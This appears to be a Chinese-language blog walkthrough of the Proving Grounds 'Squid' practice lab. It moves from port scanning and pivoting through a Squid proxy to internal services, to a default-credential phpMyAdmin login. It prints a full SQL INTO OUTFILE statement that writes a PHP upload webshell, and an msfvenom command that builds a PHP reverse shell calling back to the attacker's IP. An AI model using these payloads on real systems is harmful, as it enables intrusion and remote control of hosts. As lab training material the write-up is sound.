Proving Grounds Practice : Squid Walkthrough
Proving Grounds Practice : Squid Walkthrough
Foothole (立足點 ) :
- 枚舉一輪後啥都沒發現,只有一個 Squid 且版本也沒有任何 RCE 與可利用的地方
- 透過 spose.py 指定 Squid Proxy 掃靶機本身有無其他服務,發現 phpmyadmin
- Select 語法搭配 into outfile 寫入可以上傳檔案的 php 網頁
- 上傳自行建立的 payload 後獲取 reverse shell
PE ( 提權 ) :
- whoami 是 local service 權限,依據文章確認可以建立 Schedule Task
- Schedule Task 建立一個新的 Reverse shell 發現有預設的相關權限
- 再依據文章的說明要求 ScheduledTaskPrincipal 權限拿一個新的 Reverse Shell
- 標準作業提升權限後拿到管理者
注意事項 :
- 看到 Squid 要想到可以利用的服務,可能無法從外部存取而是跑在 127.0.0.1 loop back 上
- 可以先用 python code 掃 port 然後透過 Browser 探勘
- 學習 phpmyadmin 如何用 Select 語法然後 into outfile 塞入一個可以上傳檔案的 php 網頁
- 這是 Windows 環境,預設 kali 內建的 php-reverse-shell.php 是 Unix 環境使用
- 可以自己建立 payload --> msfvenom -p php/reverse_php LHOST=192.168.45.201 LPORT=4444 -f raw -o php-reverse-shell.php
- localservice 提權好網站 https://itm4n.github.io/localservice-privileges/#sorry-no-impersonation-privileges-for-you
Kali IP : 192.168.45.201
靶機 IP : 192.168.194.189
第一步 Rustscan,└─$ rustscan -a 192.168.194.189 --scripts none --ulimit 5000 | tee rustscan
snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.194.189 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 135,139,445,3128,49666,49667 192.168.194.189 | tee nmap
3128 Squid http proxy 4.14
enum4linux without credential,└─$ enum4linux -a 192.168.194.189
3128 /
標準的 Squid 3128 Port 畫面
Response header
gobuster 一堆錯誤
甚麼都找不到,只看到一個 Squid Proxy Server 套件
看了 Exploit DB 沒啥有用的,尤其是這個版本的
Squid 4.14 幾乎都沒有可利用
最後還要查查看 hacktricks,搜尋 3128
Squid 第一篇文章如下
https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid
第一段告訴我們可以使用該 Squid 當作 Proxy 去存取其他網站如下
甚至是存取 Proxy Server 自身的 IP
第二段寫可以在 proxychains 檔案中加入
Squid 的 IP 與 Proxy 當作我們的 proxychains
然後就可以像我們在其他內網滲透一樣直接使用 proxychains
看來這個可以利用來掃 Squid 本身沒有對外開放的服務
因為可利用的服務可能只跑在 loop back 127.0.0.1 的 Interface 上
如果不想設定 proxychains 檔案走 socks mode 的話也有提供了 python code 可以直接使用
提供的 Python Code spose.py 利用如下
參考 : https://github.com/aancw/spose
先手動改一下 proxychain 試試看吧,指定 http 走在靶機的 3128 Port 上
└─$ sudo vi /etc/proxychains4.conf
原有的 socks 127.0.0.1 1080 先 mark 起來
直接透過 proxychains 用 nmap 帶 -sN 快速掃 TOP 1000 Port 看看
└─$ sudo proxychains nmap -sN localhost --open | tee nmap-squid
掃到一堆直接從 kali 掃不出來的 Port
有 80 Port 看來是個 Web,直接指定 Proxy Server 到靶機開啟來看看
80 /
改用文章中提到的 Python Code spose.py 跑跑看
參考 Usage,usage: spose.py [-h] [--proxy PROXY] [--target TARGET]
執行看看 spose.py --proxy 192.168.194.189:3128 --target 192.168.194.189
跑的時候缺少模組 URLRequest,那就 sudo pip3 install URLRequest 安裝吧
執行後一樣報錯顯示 ModuleNotFoundError: No module named 'url_request'
查了一下是下載該 python code 的網站有提供,那就去下載吧
https://github.com/aancw/spose/blob/master/url_request.py
再次執行後一樣沒有結果,後來查看了網路上的相關文章發現參數 --proxy 要帶上 http://
將指令修改如下,└─$ ./spose.py --proxy http://192.168.194.189:3128 --target 192.168.194.189
透過供舉直接告訴我們有兩個 Prot,3306 & 8080
透過瀏覽器指定 Proxy 瀏覽 3306 Port 會直接下載一個 pxGOdGWw 的檔案
看了一下檔案內容顯示,不可以透過 Squid 去連線 MySQL Server
改開 8080 / 看一下
發現 wamp (Version 3.2.3)套件且有安裝 phpmyadmin,看來又是 phpmyadmin 的梗
開啟 8080 /phpmyadmin 然後用預設的 root 登入看看
直接登入了又可以下 SQL 指令,看來是 SQL 語法塞檔案 into outfile 的梗
如同有 webshell 一樣,透過 SQL 語法也可以快速寫一個上傳檔案的簡易 webshell
參考 : Uploading Shell via PHPmyadmin · GitHub
語法 :
SELECT
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';
執行完畢後看一下網頁 8080 /uploader.php
建立 php reverse shell payload,└─$ msfvenom -p php/reverse_php LHOST=192.168.45.201 LPORT=4444 -f raw -o php-reverse-shell.php
上傳
執行後 4444 listen 直接進來了,whoami 看一下是管理者結束這回合
留言
張貼留言